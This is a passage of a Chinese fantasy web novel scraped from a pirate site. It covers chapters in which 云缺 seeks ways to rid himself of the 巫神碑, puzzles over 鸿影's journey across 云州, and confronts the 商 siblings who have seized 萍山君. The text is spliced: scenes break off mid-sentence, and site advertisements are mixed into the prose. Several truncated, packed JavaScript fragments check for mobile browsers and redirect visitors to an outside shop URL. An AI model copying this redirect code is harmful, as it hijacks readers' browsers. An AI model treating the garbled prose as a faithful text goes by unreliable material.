“万万不可!巫神碑已经与你生机相连,切断左手的确能摆脱巫神碑,但巫神碑一旦离体,会将你所有生机尽数抽走,你会瞬间丧命。” 云缺神色一垮,道: “总不能等着巫神降临,大祭酒有没有其他办法?” 秦蒙沉吟道: “巫神已经陨落,被儒圣镇杀,此事在学宫有所记载,但巫神碑并无任何记载,传说此碑是巫神遗骸所化,以我猜测,碑中应该存留着巫神的一道残魂,若巫神残魂夺舍,以你如今境界绝无抵挡的可能。” “想要摆脱危机,有两个办法,一是尽快提升修为,将元神修炼到无惧巫神残魂的程度,此劫自可迎刃而解。” “这个办法,耗时太久,你能修炼到何种地步,巫神何时降临,均都未知,变数太大。” “另一个办法,以强力手段将巫神碑上的残魂祭炼或者抹掉,没了巫神的残魂,巫神碑只是个石碑而已,对你再无威胁。” “第二个办法,也许很快能达成,却需要世间真正的强者或者天地异宝协助,同样艰难。” 大祭酒给出的两条路,每一条都不好走。 云缺听得直皱眉。 自己修炼的话,不知何年何月才能元神强大,关键武夫的修炼方式,根本没有涉及元神的,全是武道法门,或者打熬本体。 墨老留下的炼神术,倒是一个办法,就是不知真伪,轻易尝试的话,没准掉进另一个大坑。 寻找强者或者天地灵宝,说着简单,其实更难,连天祈学宫大祭酒都束手无策,世上恐怕没几个人能对付得了巫神的残魂。 衡量了一下,云缺觉得与其寻找强者相助,还不如冒险修习炼神术。 反正自己掉进了天坑,再跳几个坑也无所谓了。 虱子多了不怕咬,坑多了不怕跳。 “大祭酒,有没有第三个办法。”云缺苦着脸道。 “有。”秦蒙道。 云缺顿时精神起来,追问道:“什么办法?” “赌。”秦蒙沉声道:“你也可以什么都不做,坐等巫神降临,但凡夺舍,必定要侵占识海空间,到时候,赌一赌巫神残魂,能否破得开儒圣传承。” 云缺闻言眼前一亮。 对呀! 自己识海里还有座文殿呢! 到时候真要挡不住巫神,直接把他封在文殿里,看看到底是巫神残魂厉害,还是儒圣的文殿强大。 想到识海文殿,云缺松了口气。 幸好当时在学宫文殿里睡了一觉,梦到了圣人,要不然遇到如今状况,恐怕只能等死。 人一精神,心思也开始活络起来。 云缺问道: “大祭酒,我觉得还有个办法,学宫文殿里不是有圣人头骨么,咱们把头骨打碎炼制成手套,我天天戴着,这样一来,巫神未必敢出来作恶。” 大祭酒的眼皮跳了几跳,一脸无奈的望着云缺。 儒圣头骨,儒家学子的圣物! 打碎了做手套? 没人知道还好,一旦消息传出去,那就不是巫神要你命了,而是天下所有儒家修士都会跟你拼命! “圣人遗骸,不可毁坏,你可以到文殿试一试头骨是否有用,若能镇压巫神碑,你留在文殿修行也是一个办法。”大祭酒给出了个折中的建议。 能允许云缺常住文殿,其实大祭酒已经破坏了学宫规矩。 学宫一年一度的大比,只有最优秀的学子才能在文殿修炼一天,自从天祈学宫建成以来,没人能在文殿常年闭关。 连历届大祭酒都不行。 云缺谢过大祭酒后,问道: “什么手段才能炼化巫神碑里的残魂呢?” 秦蒙道: “抛去巫神的身份不提,但凡残魂,均为鬼物,炼化阴鬼之流,佛门自然最为拿手,我建议你走一趟佛门圣地,大唐雷音寺,也许会有转机。” 听闻雷音寺,云缺立刻想起晦心禅师临终前的委托。更新,记住域名qiexs?(请来企鹅 小说 看最新章节 完整章节)鸿影道。 云缺听得愈发奇怪。 按照鸿影所言,他应该一直往草原深处走,距离黑铁城与天祈城,应该越来越远才对。 而且距离大秦,也会越来越远。 怎么可能在草原深处一直走,居然能走到大秦呢,根本是两个相反的方向。 “你从哪个方向来到的这里。云缺问道。 “那边。鸿影指向一个方位,道:“这一路我没改变方向,走的基本是直线。 “东南……云缺蹙起眉峰。 鸿影从东南而来。 草原则在云州的西北方向。 也就是说,鸿影继续按照这条路线走下去,会抵达大唐,然后抵达邵武国,再到大晋,最后回到草原。 这不对呀…… 云缺百思不解。 鸿影在草原里迷路,再怎么胡乱走下去,也不可能走到云州的另一端。 因为鸿影行进的这条路线,是云州的对角。 云缺从储物袋里拿出一幅云州地图,铺在桌上,指点道: “这里是草原,而你现在的位置,是在大秦的少年城,鸿影,你走的这条路很古怪。 鸿影盯着地图,眼睛也瞪大了。 鸿影很聪明,看得懂地图,也分得清方位,他终于发现,自己走的这条路的确是回家的路线,但是太过诡异,居然是从云州另一端往家走。 “会不会是草原太大,包裹了整个云州?鸿影大爷绕了云州一圈,来到的大秦。萍山君凑过来分析道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149366|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不可能,我走的即便不是直线,也绝对没有绕圈,我是按照天象走的,不会错。鸿影笃定道。 云缺沉默不语,望着地图出神。 “我知道了! 萍山君道:“你遇到了鬼打墙!把 你从云州这头,打到了云州那头!” 鸿影挠了挠头,道:“鬼打墙?有那么大的鬼吗?” “呃……好像没有。”萍山君心虚了。 鬼打墙确实有,连云缺都遇见过,能把人挪移过整个云州的鬼打墙,实在太过离奇。 那得多大的鬼呀,云州那么大的鬼么。 鸿影盯着地图,目光忽然明亮起来,道: “我想到了!师兄,云州大地是圆的!” 鸿影说着将地图折起来,将两侧连在一起,形成个纸筒。 如此一来,云州的草原与另一端的戈壁滩就连接在了一起。 云缺笑了笑,道: “师弟很聪明,居然能想到这一点。” 鸿影嘿嘿笑道: “是先生教的好!先生说过,看待万事万物不必拘泥于一隅,不可固执己见,应该抛弃尘俗旧理,要学会变通,万万不可钻牛角尖!” 云缺在心里赞了一声。 岳父泰山教得好! 看看人家阜南王,从小开始教自己的私生子别钻牛角尖,等鸿影长大之后,对他是阜南王私生子的身份也能快点接受,不至于反目成仇。 “师弟的想法不错,大地如圆之说,确实令人惊奇,也能解释你为何走到此地,但事实并非如此,云州,不是圆的。” 云缺说罢指向窗外。 天边,最后一缕夕阳正在坠入大地,在高高的楼船之上,能看到清晰而狭长的地平线。 “如果云州是圆的,那么在如此高度即可看出弯曲的地平线。”云缺解释道:“你看,大地尽头,是平的。” 鸿影望向远处,惊奇道: “果然是平的大地!那为何我会横穿整个云州呢?” “也许你误入某处法阵,或者草原深处存在着我们无法理解的力量,从而让你出现在云州另一侧。”云缺说罢收起地图,道:“只要师弟安然无恙就好,吃饱点,返回草原的盘缠,师兄包了。” “师兄最好了!多谢师兄!” 鸿影拍了拍肚皮,对于他这次的奇幻之旅不再多想,道:“我之前饿肚子的时候还赢了一局,这次吃饱了再去打一场!下边热闹,我去看热闹,饿了再来找师兄!” 云缺道了声好。 楼船上有垂到地面的悬梯,鸿影离开包间,从悬梯回到地面,兴致勃勃的选择擂台去了。 鸿影走后,云缺始终沉吟着有关云州的古怪之处。 云州之大,能容纳上百国度存在,两端之间相隔百万里之遥,如此程度的传送挪移,已经超出了修行者的认知之外。 即便天下一品强者,想要横跨云州也不是短时间就能做得到的。 而鸿影几乎在瞬间就横跨了整个云州,这种力量,让云缺心惊不已。 是强大的异宝之力,还是远古遗留的法阵? 亦或者,这片大地是一座屋子,有着固定的尽头,屋子里的人永远也走不出去,推开门之后,会回到屋子的另一端…… 第550章 古怪的兄妹 云州如屋的想法连云缺自己都觉得匪夷所思。 推门出去却又从另一侧的门里走进来这不是鬼屋么。 夜幕降临。 擂台四周挂起了巨型的风灯将擂台区域照得亮如白昼。 第二轮比斗仍在持续。 擂台上打斗得热火朝天。 云缺散去思绪让萍山君守着门口防止陌生人闯入。 随后云缺开始调动手心里剩下的半个雷精。 开始以雷精锻体。 不久前的第二次打擂让云缺看清了单纯以肉身去搏杀同阶的艰难之处。 周铁柱只是六品宗师境武夫 鹅小说全网首发无弹窗免费阅读qiexs.com?(请来企 鹅小说 看最新章节 完整章节)穿上法宝程度的防御宝甲相当于套上个乌龟壳很难对付。 如果对手是拥有保甲的五品金身呢想要获胜更加艰难。 在没有任何武器与保甲的情况下想要增加胜算唯有竭尽全力提升肉身强度这一个办法。 而手心里的半个雷精便是一个契机。 云缺抓紧一切时间尽量提升着自身战力。 有了上一次的经验这次提取雷精变得轻车熟路。 手心里的雷精在气机引导下开始融入浑身筋骨云缺的本体变得忽明忽暗仿佛有一道惊雷若隐若现看得萍山君心惊肉跳。 雷精锻体是一种恐怖的折磨犹如被千刀万剐浑身每一寸筋骨都在遭受着雷霆洗礼。 云缺选择将元神归入识海否则连猎妖人也会扛不住。 来到妖魂所在的大殿云缺往大椅上一躺道: “还是妖族好哇天生一身好筋骨我们人族打熬肉身实在太难了。” 月魁冷嘲道: “嫌费事的话你也可以学我一样只剩神魂没有肉身不就解脱了。” “那我还是遭点罪好了姐姐帮忙看着点身体剩下的雷精都被我用了这次炼体结束本体强度估计追得上四阶妖兽。”云缺四仰八叉的躺在大椅上打着哈欠说道。 “你自己的身体让别人看着?不如身体直接给我好了!”月魁怒道。 “男儿身又不是女儿身你要了也没用……”云缺嘀咕了一句道:“对了姐啊你对万妖国可有了解这次少年擂居然出现万妖国的人实在可疑。 ” “万妖国大名鼎鼎自然听说过但我没去过。”月魁道。 云缺知道这位姐姐在妖都的时候就不喜欢出门整天呆在家里肯定没去过万妖国不过妖都之王也许去过。 “你爹去没去过?万妖国到底实力如何?”云缺问道。 月魁缓缓摇头道: “父王也没去过万妖国很神秘不大欢迎外来者人族修士很难有机会踏入万妖国的领地而外来的妖族对于万妖国也有着很深的忌惮。” 云缺道:“妖族为何要忌惮万妖国?对于其他地方的妖族来说万妖国不应该是妖族最向往的圣地么。” 月魁的声音变得有些低沉道: “万妖国天下妖族之国听起来确实令人向往但万妖国自古以来有一个铁律但凡进入万妖国地界的妖族此生必须臣服于万妖国之主听从调遣若有二心或者想要去别处自立为王都会被万妖国抹杀。” 听闻如此霸道的规矩云缺对万妖国更有兴趣。 那万妖国之主野心不小与秦皇有些类似想要一统云州妖族。 一山不容二虎难怪妖都之王不肯去万妖国。 “万妖国之主是什么来头刚才遇见那个冥欢 “我不清楚万妖国之主的来历只知道万妖国已经存在了很久很久云州大地无数王朝更迭很少有人族王朝敢打万妖国的主意甚至一些顶尖的修行宗门也对万妖国讳莫如深不肯轻易招惹。”月魁道。 云缺回想了一番云州地图。 万妖国所在的位置是一片范围极大的原始森林不比大秦小多少其内少不了灵泉灵脉而森林周边都有国度存在万妖国几乎是在云州的中心点。 能在云州占据如此一片地盘持续至今可见万妖国的实力绝对不容小觑。 “冥欢的本体姐姐可否看出些端倪我没见过那种古怪的妖族。”云缺道。 “我也没见过北域没有不过我听父王曾经说起过万妖国有一种奇异的妖族叫做地冥兽拥有控制大地之力的天赋能力神智极高是来自远古的异种。”月魁道。 “控制大地之力地冥兽……” 云缺想了想判断出冥欢很有可能就是地冥兽因为那家伙会挖洞而且名字里也有个冥字。 或许地冥兽的天赋很强但是神智极高这一点云缺不太相信。 冥欢那家伙是个缺心眼挖洞出来只看前边和两侧从来不看身后如果这也叫神智高那神智高这几个字就成了彻头彻尾的贬义词。 月魁对于万妖国并不了解云缺不在多问感知着肉身本体的细微变化。 雷精之力在一点点减少。 筋骨血肉则在一点点增强。 以云缺估计炼化了剩余的雷精之后自己的本体应该能达到四阶妖兽的强悍程度! 六品宗师境武夫却拥有四阶妖兽的恐怖本体说出去都没人会相信。 那已经不是六品或者五品武夫能想象的存在了简直如人形妖兽! 尽管回归识海空间雷精锻体的痛楚仍旧会隐约传递到元神云缺默默忍受这种非人的折磨。 强大的意志加上本就被熬炼到强横的肉身才能承受来自雷精的天雷之力。 这段时间一直持续了半天之久。 午夜时分半个雷精终于完全消散化作无数细密的雷弧融入云缺的周身筋骨当中。 雷精虽然融入本体但是炼体的过程并未结束。 雷精是天雷精华威力极其恐怖需要多日的吸纳才能彻底吸收掉绝非一朝一夕能达成。 咚!咚!咚! 云缺耳畔听到了敲门声。 本以为是鸿影返回云缺没去理睬继续感知着本体。 有萍山君在呢开门这点小事用不着云缺亲自起身。 过了不大会儿云缺听到萍山君与门外之人敷衍起来好像不是鸿影而是其他人想要进来 谁来捣乱? 云缺将元神回归本体。 就听门外之人喊道: “开门呀萍山君!我知道你们在里面!” 是个女子的声音。 “云兄弟是不是也在啊让我们进去好不好我是商福啊!” 是个男子的声音。 人家都报名了云缺自然听得出是商福商暮两兄妹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149367|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给萍山君使了个眼色 ,让其打发走对方。 少年擂太过关键,云缺不想节外生枝,之前就是那个商暮的一脚,惹来了万妖国的冥欢。 萍山君朝着门外喊道: “你们走错屋了,找人去别处找吧。” 门外传来商暮的声音: “不会错!我听出你的声音了萍山君,快开门,你是不是不拿我们当朋友了?再不开门我可走窗户喽!” 云缺在心里骂了句赖皮膏药,让萍山君开门。 门一开,商福商暮两兄妹直接跳了进来。 “哈哈!我就知道你们在这!”商福道。 “好香呀!这里的饭菜真不错!我们能不能也吃点?”商暮道。 云缺看了眼桌面。 好家伙,不知何时又摆满了,萍山君这个饭桶,就知道吃。 “二位自便,方才萍山君跟你们开玩笑来着。”云缺圆场道。 “对对!开玩笑的嘿嘿。”萍山君道。 两兄妹也不客气,坐下就开吃,这两人都是武者,胃口极好,吃得风卷残云。 吃饱喝足,商暮放下碗筷道: “萍山君的模样居然如此俊美,好帅气呀!” 萍山君摸了摸自己的脸,美滋滋的道:“还好吧,一般一般嘿嘿。” 云缺听得直翻白眼。 小白脸果然有好处,对女孩子有着致命的杀伤力。 商暮看向萍山君的目光,有一种垂涎欲滴的感觉,要是屋子里没人的话,好像她就要投怀送抱似的。 “不仅帅气,我看萍山君的样貌还透着一股威武!是我们武夫之辈!” 商福也大夸特夸,盯着萍山君一眼不眨。 云缺瞄了眼商福,微微皱了下眉。 商暮是年轻女子,被萍山君化形后的样貌吸引,属于正常现象。 可商福是个男的,他看向萍山君的目光几乎与他妹子一样,都有着一种垂涎欲滴的架势。 怪事…… 云缺察觉到两兄妹的举动,有些不同寻常。 现在云缺可没戴斗笠,也没戴观魂镜,虽然剃了光头,云缺的容貌一样不凡,比萍山君幻化出来的小白脸耐看多了。 可商暮自始至终都没多看云缺一眼。 云缺回想了一下, 在地面结识两兄妹的时候,对方只看了自己两眼,其余的时候全部注意力都在萍山君身上。 这时擂台战的第二轮已经结束,开始了第三轮的比试。 虽然已经是午夜,但擂台周围的人群非但没少,还越来越多,看热闹的人山人海。 商暮指着擂台道: “第三轮了!从这一轮开始,比斗会越发艰难,提前登台的才有好处,等到进行过半,剩下的都是高手,打起来就累了,云缺,你应该现在就登台,一定能轻易获胜!” 商福也点头道: “我妹子说得没错!大家都在等着看别人的身手如何,不肯轻易登台,现在是最佳良机!云兄弟快去打擂,我们在这给你擂鼓助威!” 云缺看了看两人,笑着道了声好。 心里却更加断定了这两兄妹,有古怪! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第551章 人见人爱萍山君 商福与商暮一个劲儿的规劝云缺早点登台,看起来一副很关心朋友的模样。 两人恨不得将提前登台的好处全都列举出来,热心到令人难以拒绝。 在地面的时候,云缺只觉得两兄妹是那种喜欢结交朋友的人,现在看出两人很不寻常,如此举动,明显是在支开自己。 于是云缺顺水推舟,起身准备去打擂。 顺便看看这两兄妹到底有何目的。 临行前,云缺将一块玉石扔给萍山君,道: “出门走得仓促,忘了带银票,这块玉价值千两纹银,用来结账。” 萍山君连忙称好,将玉石揣进兜里,反正他身上没钱,云缺给什么东西他都要。 商福商暮两兄妹起身拱手道: “云兄弟旗开得胜!” “我们相信你能赢!” 云缺哈哈一笑,戴上斗笠道: “借二位吉言,你们慢慢吃,我去去就回。” 回到地面,云缺抬头看了眼灯火通明的楼船,心里一阵好奇。 支开自己,那两兄妹的目标必然是萍山君,他们为何对萍山君如此感兴趣? 以萍山君所言,他最初是在少年城门口晃悠找吃的,遇到了商福商暮两兄妹,被拉着报了名,成为朋友。 这段经历没什么疑点。 毕竟来少年城的人实在太多,又全是年轻人,结朋交友正常不过,只要看顺眼了即可称兄道弟。 真正让云缺起疑的,是商福商暮两兄妹如何在楼船上准确无误的找到了萍山君。 跟着房石登上楼船的时候,周围有许多法器不断腾空,去楼船吃喝的大有人在。 就好比闹市里新开张的酒楼,来往的客人极其繁多,很难注意到某个人的行踪。 即便看到了萍山君登上楼船,也不该找得如此准确,因为楼船上包间无数,除非一个个敲开查看,否则很难判断出萍山君在何处。 “有点意思……” 云缺淡淡一笑。 那两兄妹看来有点手段,应该精通某种追踪法门,或者提前在萍山君身上做了标记。 就是不知其目的究竟是什么。 来到擂台附近,云缺扫了眼十六座小擂台。 第三轮比斗,确 实比之前要激烈得多,受伤的情况也比之前大大增加。 前两轮大家只是打个热闹,从第三轮开始已经动真格了,之前没用过武器的人,登台之后大多亮出了兵刃。 刀剑无眼。 拳脚打斗还能有所留手,一旦动用武器,轻则挂彩,重则丧命! 距离云缺最近的擂台上,两名少年之间分出了胜负,输的一方直接被切掉一只手臂,赢的一方也没好多少,肩头挨了一刀,血流如注。 尽管胜出,赢家却失去了再次打擂的信心,由于伤势不轻,此人直接放弃了第四轮比斗,都没去修改铁牌上的标记。 随着比斗的越发残酷,很多修为不是很高,又在前两轮获胜的少年修士选择了弃赛。 毕竟命更重要。 为了争一个虚无缥缈的少年王,变成缺胳膊少腿的残废人士,实在得不偿失。 关键五品之下的少年修士,根本看不到任何夺魁的希望,凑个热闹才是大多数人的真实目的,能赢个一两局,回去之后也有了吹嘘的本钱。 咱也在少年擂上赢过! 除了大多数凑热闹的少年之外,一些修为达到五品,志在少年王的高手之间形成了一种默契。 五品修为,绝对不会去挑战同阶,都在保存实力,避免在前期受伤。 一旦受创或者耗费太大的力气从而实力降低,对后面的争夺极其不利。 说到底,少年擂这种车轮战,不仅比试境界修为,也在比拼耐力与底蕴。 谁的修为更加扎实,谁才有可能熬到最后。 云缺等待了不久,很快有人登上最近的这处擂台。 是一名锦衣少年。 此人登台的方式很唬人,身体不动,双脚离地,直接飞了上去。 竟动用了飞行法术。 不等对方站稳,云缺直接纵身而起,跳上擂台。 对方提前施展法术飞上擂台,气息显现无疑,有着六品筑基境修为。 对战同阶的道门修士,对云缺来说比对战同阶武夫要轻松得多,因为擂台赛原本就对武夫有利,比斗范围是固定的,而且现在是小擂台,方圆数丈的区域而已。 离开擂台就算输,这一点让其他派系的修行者格外不爽,很难拉开与武者的距离。 两人几乎同时落地。 锦衣少年站在擂台一角,云缺则站在擂台中心。 如此一来,留给对手的活动范围,就只剩下了半个擂台。 站稳之际,云缺忽然皱了皱眉。 对手是飞上的擂台…… 云缺抬头看去,半空除了庞大的楼船之外,还有无数飞行法器悬浮,密密麻麻,五颜六色。 飞…… 云缺的心头一阵奇怪。 大秦有护国大阵,全域禁飞,所以才在每座城之内都设下传送法阵。 怎么少年城里,飞行法器可以随意腾空,还能施展飞行法术? 如此异象,只有一个解释。 少年城,不属于大秦! 所以少年城不会被大秦的法阵笼罩,从而能随意腾空。 云缺越发惊奇。 这种奇怪的现象是秦皇刻意所为,还是另有缘由? 对手已然动了,云缺不再多想,立刻反击。 双方谁都没有报出名号。 锦衣少年的经验很老道,先选择了防御法术,掐动法印,在身前形成一层冰晶护罩,足有一尺多厚。 护罩一旦形成,犹如一座堡垒,锦衣少年即可躲在堡垒里施展其他法术,只要护罩不破,他就不会落败。 随后锦衣少年左手抓出一柄冰晶长剑,右手拿出一张金灿灿的灵符,全力出手。 然而他的速度还是太慢了。 不等灵符生效,云缺的赤炎拳已经来临。 轰!轰!轰! 火光暴起,拳声如雷。 接连七拳,直接将冰晶护罩砸了个粉碎。 锦衣少年张着嘴巴,一手拿剑,一手拿灵符,目光呆滞的看着面前的对手。 云缺此时距离他只有不到二尺,这种距离,是武夫的绝杀范围,道家的手段根本来不及施展。 锦衣少年很光棍儿,大吼一声: “我输! 随后头也不回跳下擂台。 不认输,就得被打下擂台,还不如自己跳下去,至少不会受伤。 这一局,云缺赢得十分顺利,前后没到一盏茶的时间。 下台后,铁牌上得到了三的标记。 随后云缺直接返回楼船的包 间。 一进门,商福与商暮两兄妹正要往外走。 见云缺这么快就返回,两人愣了下。 商福惊讶道:“云兄弟赢了没有? “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156929|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小胜一局。云缺道。 “云兄弟好厉害!第三轮还能赢得如此之快,看来再赢两轮也问题不大! 商暮很贴心的给出建议,道:“不过云兄弟最好止步于第五轮,最多打到第六轮就可以了,咱们都是六品修为,争不来少年王的,能连赢三轮已经不容易了,连赢五轮绝对可以在小城小镇里威名大增! “我也是这么想的,二位这是要去何处。云缺笑着问道。 商福道: “我们也去打擂!我的目标是赢三场!现在还差一场即可大功告成,云兄弟可要帮着我助威才行! 商暮道: “我们与哥哥一样,只要能赢三次就好,我可不想输在擂台上,女孩子一旦受伤,很丢人的。 云缺看了眼空荡荡的包间,面带不解的道: “萍山君呢,他去哪了。 屋子里只有商家兄妹,并无萍山君的踪迹。 商福道:“萍山君方才认出了一位友人,下去会友了。 商暮道:“好像是位姑娘,我看萍山君心急火燎的,长得帅气果然到哪里都人见人爱,等他回来我要好好问问,到底是谁家的姑娘,让他念念不忘。 说着商暮嘟起嘴儿,一副吃醋的架势。 商福道:“妹子别在意,男人嘛,哪能没有红颜知己,我相信妹子肯定比那位姑娘优秀! 商暮道:“哼,我这就去擂台上打一场!让萍山君知道知道我商暮才是最厉害的! 说着两兄妹就要往门外走。 云缺脚下没动,就站在门口,笑呵呵的看着两人演戏。 挺好看的戏,演得其实不错,将兄妹俩的感情与对萍山君的爱慕表现得淋漓尽致。 如果是外人在场,很容易被蒙混过关。 可惜,萍山君的老底儿,没人比云缺还清楚。 大晋来的虎妖,在大秦地界怎么可能会有朋友,还是个姑娘。 萍山君别看化形之后是个小白脸,但人家心里只有母老虎,没有人族姑娘。 云缺面带 笑意,反手将房门关好。 商福诧异道: “云兄弟怎么了,为何关门呢,我们要去打擂呀! 商暮焦急道: “现在去打擂还不算晚,再等一会儿肯定全是高手,我们未必能赢。 “不急,第三轮擂台至少还得打半天,我刚才看过了,先登台的不乏高手,我就差点吃亏败北,二位最好多等一会儿,等到第三轮的中段在登台,如此才是最佳选择。 云缺示意两人落座,道:“饭菜都没吃,怎么有力气打擂,来,吃饱再走。 商福的脸色变了变,商暮则爽快的道: “也好!云兄弟说得有道理,我们还没吃饭,打擂肯定力气不足,先吃饱肚子! 两人随后坐了下来,开始吃吃喝喝。 云缺拉过一把凳子,就坐在门口,堵着屋门,笑呵呵看着两人吃饭。 这顿饭吃得很安静。 商福与商暮不再言语,低头吃饭。 不多时,两人吃得差不多了,商福起身道: “吃饱了!云兄弟没说错,空着肚子确实气力不足,现在好多了! 商暮也缓缓起身,神色变得有些冷淡的道: “多谢云兄弟款待,我们该去打擂了,开门。 云缺安然而坐,以手指敲着桌面道: “开门可以,二位要走我不拦着,想要吃饭也可再来,我随时欢迎,不过,你们想离开这间屋子,先得把萍山君放出来。 第552章 对不出来,你可别哭 商家兄妹的脸色齐齐变幻了起来。 商福装出愣怔模样,错愕道: “萍山君?他刚才就走了,现在可能正在与佳人相会,云兄弟若想找他,可以去城边没人的地方看看。” 云缺笑而不语。 商暮声音渐冷的道: “萍水相逢是朋友,你若诬陷我们结了梁子,便是仇家,萍山君那么大的活人,我们还能把他藏起来不成。” 云缺摇了摇头,道: “二位既然不肯承认,那好,我拿出证据来,你们总该认了吧。” 说着拿出了指我针。 小巧的针尖直指着商暮。 商暮脸色一沉,道:“这是何物,区区低劣的法器,岂能作为证据。” “这东西叫指我针,只有一个功效,百里之内始终指向标记。” 云缺好整以暇的解释道:“临走之前我留给萍山君的那块玉石,便是标记物,我猜,萍山君如今正躺在商暮姑娘的灵兽袋里骂街呢。” 商福急忙辩解道: “应该是巧合!我们是萍山君的好朋友,怎么可能抓他!再说了,萍山君是大活人,又不是妖兽,怎么会被装进灵兽袋里!” 云缺淡淡一笑,望向商福的目光中带着一份戏虐之意,宛如在看戏。 商暮此时冷声道: “哥,不用胡扯了,人家已经看出来端倪,我们想走,恐怕要费一些手段。” 商福的脸色也渐渐冷了下来,道: “云缺,有些事我劝你别凑热闹为好,让开路,咱们井水不犯河水,否则的话,呵呵。” 商福的冷笑,带着一份杀意。 面对两兄妹的敌意,云缺不以为意,四平八稳的坐在门口,道: “其实我这人胆小得很,我也不想多管闲事,你们来少年城有何目的,我没兴趣,不过你们拿了我的东西,我总不能不闻不问。” 商暮皱眉道:“我们拿了你什么东西?” “老虎啊。” 云缺微笑道:“你们抓了我的坐骑,我总得要回来才行,你说对吧。” 商暮寒声道: “胡说八道!萍山君从未被驯化,它的神魂之内没有任何印记遗留,分明是无主之妖,凭什么说是你的!” 云缺道: “你这人好不讲理,我的坐骑,就非得留下神魂烙印么,战场上的战马有很多,还不是全都认主,一个口哨即可召唤。” 商福冷哼道: “六阶白额石鳞虎可不是战场上的普通战马,又何况拥有上古血……” “哥!少说两句。” 商暮打断了商福的话,冷声道:“无主之妖,谁能擒获便是谁的,这是天下间的道理,云缺,你若阻拦我们,休怪我们翻脸!” 云缺仍旧面带微笑,但心里已经升起一丝惊讶。 这商家兄妹不仅准确说出了萍山君的妖族种类,连萍山君觉醒了风雷虎的血脉都能察觉,看来这两人对妖兽极其精通。 云缺现在想通了为何最初商家兄妹能找到这件包间。 他们两人一定有着追踪妖兽的特殊手段,以萍山君的气息判断出所在之地。 这下云缺越发好奇起来。 商福和商暮均为武者,而追踪妖族的手段,通常是其他派系的拿手好戏,武夫可没有那么灵的鼻子与感知。 眼前的这对兄妹武者,很特别。 “商家妹妹这话说得就没道理了,萍山君可不是无主之妖,不信你放他出来,问问他,我是不是他的主人。”云缺道。 “少来套近乎!既然你不肯让路,没办法,我们只能动手了!萍山君是我的,谁也抢不走!” 商暮说话间手心里多出一个别致的水晶小塔,往空中一抛,小塔立刻化作虚影并且放大开来,瞬间将这座包间完全笼罩。 四面墙壁与棚顶和地板,仿佛铺上了一层水晶,变得晶莹剔透。 法宝的气息,在空气中起伏。 云缺一眼即可判断,对方动用的小塔是一件防御法宝,有着困人之效。 此类法宝云缺储物袋里就有一个,玄冰塔。 玄冰塔与商暮动用的水晶小塔,功效基本相仿,都可形成一方独立的空间区域,可以用来躲避危险,也可用来杀人灭口! 在商暮催动冰晶小塔的同时,云缺察觉到对方身上涌现出道家灵气。 “道武双修,商家妹妹天赋不错,人也生得俊俏,但是你这明抢的手段,实在不太友好。” 云缺呵呵一笑,道:“抢了我的老虎不还 还要动手这么说待会儿我抢了你们兄妹的家当也算天经地义喽。” 商暮冷声道: “不是我看不起你云缺你若有能耐抢了我们兄妹我们毫无怨言!自认倒霉!” 商福冷笑道: “不仅毫无怨言 “哥!闭嘴!”商暮冷着脸道。 商福愣了下知道自己说多了乖乖的闭上嘴巴。 云缺大致看出了这对兄妹的心智。 哥哥商福有一股子傲气不服不忿比较粗犷心智属于正常程度。 妹妹商暮也有傲气但为人谨慎明白言多必失的道理心智比她哥要高得多。 哪里来的两兄妹呢…… 云缺好奇之余问道: “既然如此不如我们打个赌我要是赢了你们把萍山君归还并且说出你们的底细与来历你们要是赢了萍山君带走我额外再给你们一百万两银票。” 商福与商暮互相看了眼都从对方眼里看出一丝惊喜。 惊喜的来源不是萍山君而是一百万两银票。 “一言为定!”商暮朗声道:“我们兄妹一起对付你输了你可别耍赖!” “啧啧啧商家妹妹好生狡猾我们是同阶修士你们兄妹二对一我哪有胜算你们只能出一个人。”云缺道。 “好!我来会你!”商福踏出一步六品宗师境的气机显现无疑。 从其气机的凝实程度来看已经达到了六品巅峰! 商暮的眉头动了动她观察云缺很久了对方始终稳稳当当坐在门口底气十足。 商暮觉得云缺应该不太好对付出言道: “哥你歇着我来斗他。” 商福本想反驳两句他看云缺早不顺眼了如此大咧咧的挡路实在该打但是看到妹子冷冽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 